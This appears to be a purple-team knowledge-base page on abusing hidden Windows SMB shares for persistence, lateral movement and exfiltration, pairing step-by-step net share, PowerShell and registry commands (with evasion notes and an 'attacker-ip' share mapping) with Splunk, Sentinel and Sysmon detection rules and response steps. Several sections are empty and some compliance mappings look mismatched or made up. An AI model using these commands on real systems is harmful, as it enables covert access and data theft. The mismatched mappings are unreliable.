MCADDF

[REALWORLD-025]: Hidden File Share Creation

1. METADATA

Attribute Details
Technique ID REALWORLD-025
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation / Persistence
Platforms Windows AD
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Windows Server 2016, 2019, 2022, 2025; Windows 10, 11
Patched In N/A (Feature, not vulnerability)
Author SERVTEP – Artur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Hidden administrative shares (Admin$, C$, IPC$, D$, etc.) are automatically created by Windows to facilitate remote system management, but attackers can create custom hidden shares (ending with $) to stage malicious payloads, exfiltrate data, or move laterally without appearing in standard share listings. The $ suffix prevents the share from being visible in network browsing, making it an effective persistence and lateral movement vector. Administrative shares are managed by the LanmanServer service and are built into Windows by design; however, threat actors abuse this feature to create obfuscated access points.

Attack Surface: The SMB protocol (TCP 445), the Windows Registry (HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters), and the net share command or PowerShell.

Business Impact: Unauthorized Data Exfiltration and Lateral Persistence. An attacker with administrative privileges or access to a compromised system can create hidden shares to stage ransomware, exfiltrate sensitive data, or provide persistent lateral movement paths. These hidden shares bypass standard network share enumeration tools, remaining undetected during routine audits.

Technical Context: Share creation takes seconds and generates minimal event logs if not specifically monitored. Detection likelihood is low without advanced SMB monitoring or registry auditing. Reversibility is high—shares can be deleted immediately without evidence if cleanup is performed.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Microsoft Windows Server 2022 v1.0.0 Control 1.2.1 Ensure ‘Enforce Password History’ is set to ‘24 or more password(s)’
DISA STIG WN10-00-000010 The system must enforce a 24-hour (1440-minute) delay before allowing the use of a restarted computer.
NIST 800-53 AC-3 (Access Enforcement) Enforce approved authorizations for logical access to the system.
GDPR Article 32 Security of processing (encryption, monitoring, access controls).
DORA Article 9 (Protection & Prevention) ICT-related incidents must be reported; systems must implement access controls.
NIS2 Article 21 Cyber Risk Management Measures (asset management, access control).
ISO 27001 A.9.2.1 (User Registration & De-registration) User identity management and access rights provisioning.
ISO 27005 Risk Scenario: “Unauthorized Access to Shared Resources” Compromise of administrative shares enabling unauthorized access.

3. TECHNICAL PREREQUISITES

4. DETAILED EXECUTION METHODS

METHOD 1: Using net share Command (Command Prompt / PowerShell)

Supported Versions: Server 2016-2025, all Windows 10/11

Step 1: Create a Hidden Share

Objective: Create a new hidden share with a custom path that does not appear in standard enumeration.

Command:

net share hidden_admin$ = C:\temp /grant:Everyone,FULL

Expected Output:

The share "hidden_admin$" was created successfully.

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Verify Share Creation

Objective: Confirm the share was created successfully and is hidden from normal enumeration.

Command (Hidden Verification):

net share hidden_admin$

Expected Output:

Share name        hidden_admin$
Path              C:\temp
Permissions       Everyone, FULL

Command (Standard Enumeration - Should NOT Show):

net view \\localhost

Expected Output: The hidden_admin$ share will NOT appear in this list.

Command (Enumeration with /all Flag - WILL Show):

net view \\localhost /all

Expected Output: The hidden_admin$ share WILL appear when using the /all flag.

What This Means:

Step 3: Access the Hidden Share from a Remote System

Objective: Demonstrate lateral movement or data exfiltration via the hidden share.

Command (From Remote System):

net use * \\attacker-ip\hidden_admin$ password /user:domain\attacker
dir \\attacker-ip\hidden_admin$

Expected Output:

The command completed successfully.
(Directory listing of C:\temp from remote system)

What This Means:

METHOD 2: Using PowerShell (Modern Approach)

Supported Versions: Server 2016+ (PowerShell 5.0+)

Step 1: Create Hidden Share via PowerShell

Objective: Create a hidden share using PowerShell cmdlets for better integration with automation frameworks.

Command:

# Ensure the path exists
$SharePath = "C:\SecureData"
If (!(Test-Path $SharePath)) {
    New-Item -ItemType Directory -Path $SharePath -Force | Out-Null
}

# Create the hidden share
New-SmbShare -Name "SecureData$" -Path $SharePath -FullAccess "Everyone" -Force

Expected Output:

Name         ScopeName Path           Description
----         --------- ----           -----------
SecureData$  *         C:\SecureData

What This Means:

OpSec & Evasion:

Step 2: Verify and List All Shares (Including Hidden)

Objective: Confirm all shares on the system, including hidden ones.

Command:

Get-SmbShare | Select-Object Name, Path, Description

Expected Output:

Name          Path              Description
----          ----              -----------
IPC$          (Remote IPC)
Admin$        C:\Windows
C$            C:\
SecureData$   C:\SecureData

What This Means:

Step 3: Set Advanced Permissions on Hidden Share

Objective: Restrict share access to specific accounts for targeted lateral movement.

Command:

# Get the share object
$Share = Get-SmbShare -Name "SecureData$"

# Create a new ACL restricting access to a specific domain account
$Ace = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "DOMAIN\ServiceAccount",
    "FullControl",
    "ContainerInherit, ObjectInherit",
    "None",
    "Allow"
)

# Apply the ACE to the share path
$Acl = Get-Acl -Path $Share.Path
$Acl.AddAccessRule($Ace)
Set-Acl -Path $Share.Path -AclObject $Acl

Expected Output: No output (PowerShell sets the ACL silently on success).

What This Means:

METHOD 3: Using Registry (Persistent, Version-Specific)

Supported Versions: Server 2016-2025 (Registry method is universal)

Step 1: Create Share via Registry (Manual Approach)

Objective: Create a hidden share by directly modifying the Windows Registry, leaving minimal event log traces.

Registry Path:

HKLM\System\CurrentControlSet\Services\LanmanServer\Shares

Command (PowerShell):

# Define share parameters
$ShareName = "BackupData$"
$SharePath = "C:\Backups"

# Create the registry value for the share
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Shares" `
    -Name $ShareName `
    -Value $SharePath `
    -PropertyType String `
    -Force

Expected Output: (No output; registry modification is silent)

What This Means:

OpSec & Evasion:

Step 2: Verify Registry-Based Share

Objective: Confirm the registry modification created the share.

Command:

Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Shares" | Select-Object BackupData$

Expected Output:

BackupData$ : C:\Backups

Command (Verify Share is Active):

Get-SmbShare -Name "BackupData$"

Expected Output:

Name       ScopeName Path      Description
----       --------- ----      -----------
BackupData *         C:\Backups

What This Means:

5. TOOLS & COMMANDS REFERENCE

net share (Built-in Windows Utility)

Version: Built-in to all Windows versions; syntax unchanged since Server 2003

Minimum Version: Windows Server 2003 (and all modern versions)

Supported Platforms: Windows Server, Windows Desktop (10, 11)

Installation: No installation required; included with Windows

Usage:

# Create a hidden share
net share sharename=path /grant:user,permission

# Delete a share
net share sharename /delete

# List all shares (hidden not shown)
net share

# List all shares including hidden
net view \\computername /all

PowerShell SMB Cmdlets

Version: PowerShell 5.0+ (included with Windows Server 2016+)

Minimum Version: PowerShell 5.0

Installation: Built-in; no external installation needed

Usage:

# Create a share
New-SmbShare -Name "ShareName$" -Path "C:\Path" -FullAccess "Everyone"

# Get all shares
Get-SmbShare

# Remove a share
Remove-SmbShare -Name "ShareName$" -Force

# Get share permissions
Get-SmbShareAccess -Name "ShareName$"

6. SPLUNK DETECTION RULES

Rule 1: Hidden Share Creation via net share Command

Rule Configuration:

SPL Query:

index=main sourcetype="WinEventLog:Security" EventID=4688
(CommandLine="*net share*$*" OR CommandLine="*New-SmbShare*$*")
| stats count by host, User, CommandLine
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click Settings → Searches, reports, and alerts
  3. Click + New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to: count > 0
  6. Configure Action → Send Email to SOC distribution list
  7. Set Schedule to run every 1 hour
  8. Click Save

Source: Microsoft Event ID 4688 Reference

Rule 2: Registry Share Creation via Direct Registry Modification

Rule Configuration:

SPL Query:

index=main sourcetype="WinEventLog:Security" EventID=4657
ObjectName="*LanmanServer\\Shares*"
OperationType="%%1906" (Registry value set)
| stats count by host, SubjectUserName, ObjectName, NewValue
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click Settings → Searches, reports, and alerts
  3. Click + New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to: count > 0
  6. Configure Action → Create Incident in incident tracking system
  7. Set Schedule to run every 30 minutes
  8. Click Save

Source: Microsoft Event ID 4657 Reference

7. MICROSOFT SENTINEL DETECTION

Query 1: Hidden Share Creation Detection

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4688
| where CommandLine contains "net share" and CommandLine contains "$"
| project TimeGenerated, Computer, Account, CommandLine, Process
| summarize count() by Computer, Account, CommandLine

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: Hidden Share Creation Detection
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 15 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Group by: Computer, Account
  7. Click Review + create → Create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

$Query = @"
SecurityEvent
| where EventID == 4688
| where CommandLine contains "net share" and CommandLine contains "$"
| project TimeGenerated, Computer, Account, CommandLine, Process
| summarize count() by Computer, Account, CommandLine
"@

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Hidden Share Creation Detection" `
  -Query $Query `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Sentinel Event ID 4688 Detection

8. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Event ID: 4657 (Registry Value Modified)

Event ID: 5143 (Network Share Object Added)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies - Local Group Policy Object
  3. Expand Object Access and enable:
    • Audit Detailed File Share: Set to Success and Failure
    • Audit Registry: Set to Success and Failure
  4. Expand System and enable:
    • Audit Process Creation: Set to Success and Failure
  5. Run gpupdate /force on target machines
  6. Restart the machines for changes to take effect

Manual Configuration Steps (Server 2022+):

  1. Open auditpol.exe from command prompt
  2. Run: 
    auditpol /set /subcategory:"Detailed File Share" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
  3. Verify settings: 
    auditpol /get /subcategory:"Detailed File Share"
auditpol /get /subcategory:"Registry"
auditpol /get /subcategory:"Process Creation"

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Supported Platforms: Windows Server 2016-2025, Windows 10/11

Sysmon Config Snippet (for Detecting Share Creation):

<!-- Sysmon Config: Detect Process Creation for net share -->
<RuleGroup name="Process Creation" groupRelation="or">
    <ProcessCreate onmatch="include">
        <CommandLine condition="contains all">net share</CommandLine>
        <CommandLine condition="contains">$</CommandLine>
        <ParentImage condition="contains">cmd.exe</ParentImage>
    </ProcessCreate>
</RuleGroup>

<!-- Sysmon Config: Detect Registry Modifications to LanmanServer -->
<RuleGroup name="Registry Set" groupRelation="or">
    <RegistrySet onmatch="include">
        <TargetObject condition="contains">LanmanServer\Shares</TargetObject>
    </RegistrySet>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config: 
    sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify installation: 
    Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
  5. Verify Sysmon is logging process creation and registry events related to share creation

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Access Control & RBAC Hardening

Validation Command (Verify Fix)

# Check if administrative shares are disabled
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Parameters" | Select-Object AutoShareServer, AutoShareWks

# Check if SMB Signing is enforced
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSMB3Protocol

# List all shares and their permissions
Get-SmbShare | Select-Object Name, Path | ForEach-Object {
    $Share = $_.Name
    Write-Host "Share: $Share"
    Get-SmbShareAccess -Name $Share
}

Expected Output (If Secure):

AutoShareServer      : 0
AutoShareWks         : (not set or 0)
RequireSecuritySignature : True
EnableSMB3Protocol   : True

What to Look For:

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command: 
    # Immediately remove the hidden share
Remove-SmbShare -Name "hidden_admin$" -Force

    Manual (via Computer Management):

    • Open compmgmt.msc → Shared Folders → Shares
    • Right-click the suspect share → Stop sharing
  2. Collect Evidence: Command: 
    # Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx

# Export LanmanServer registry
reg export "HKLM\System\CurrentControlSet\Services\LanmanServer" C:\Evidence\LanmanServer.reg

    Manual:

    • Open Event Viewer → Right-click Security → Save All Events As → C:\Evidence\Security.evtx
    • Open regedit.exe → Navigate to LanmanServer → Right-click → Export
  3. Remediate: Command: 
    # Confirm all unauthorized shares are removed
Get-SmbShare | Where-Object {$_.Name -like "*$"} | Remove-SmbShare -Force

# Restart LanmanServer to ensure clean state
Restart-Service -Name LanmanServer -Force

# Verify no hidden shares remain
Get-SmbShare | Where-Object {$_.Name -like "*$"}

    Manual:

    • Verify Shared Folders → Shares shows only authorized shares
    • Check net view \\localhost /all for unauthorized shares
  4. Investigate:
    • Examine the user and process that created the share (from EventID 4688)
    • Review SMB connection logs to identify lateral movement or data exfiltration
    • Cross-reference with threat intelligence for known APT/malware indicators
Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] Azure Application Proxy Exploitation Attacker gains initial foothold via compromised web app or VPN
2 Privilege Escalation [PE-TOKEN-001] Token Impersonation Attacker escalates to local administrator via token theft
3 Lateral Movement - Current Step [REALWORLD-025] Hidden Share Creation Attacker creates hidden shares for lateral movement and data exfiltration
4 Collection [REALWORLD-031] SMB Enumeration & Share Access Attacker enumerates and accesses hidden shares to collect sensitive data
5 Exfiltration [REALWORLD-035] Data Staging via SMB Attacker stages and exfiltrates data via the hidden share
6 Impact [REALWORLD-040] Ransomware Deployment via Hidden Share Attacker distributes ransomware payload via the hidden share to multiple systems

13. REAL-WORLD EXAMPLES

Example 1: FIN7 (APT Group)

Example 2: APT29 (Cozy Bear)

14. TOOLS REFERENCE

Primary Tools

  1. Windows Built-in Commands
    • net share – Command-line share management
    • powershell.exe – PowerShell share creation and management
    • wmic.exe – WMI share enumeration and creation
    • Microsoft Documentation: net share
  2. Advanced Tools
    • BloodHound – AD graph analysis; can identify share access paths
    • Impacket – Remote SMB share access and enumeration
    • enum4linux – Linux-based SMB enumeration
This site is open source. Improve this page.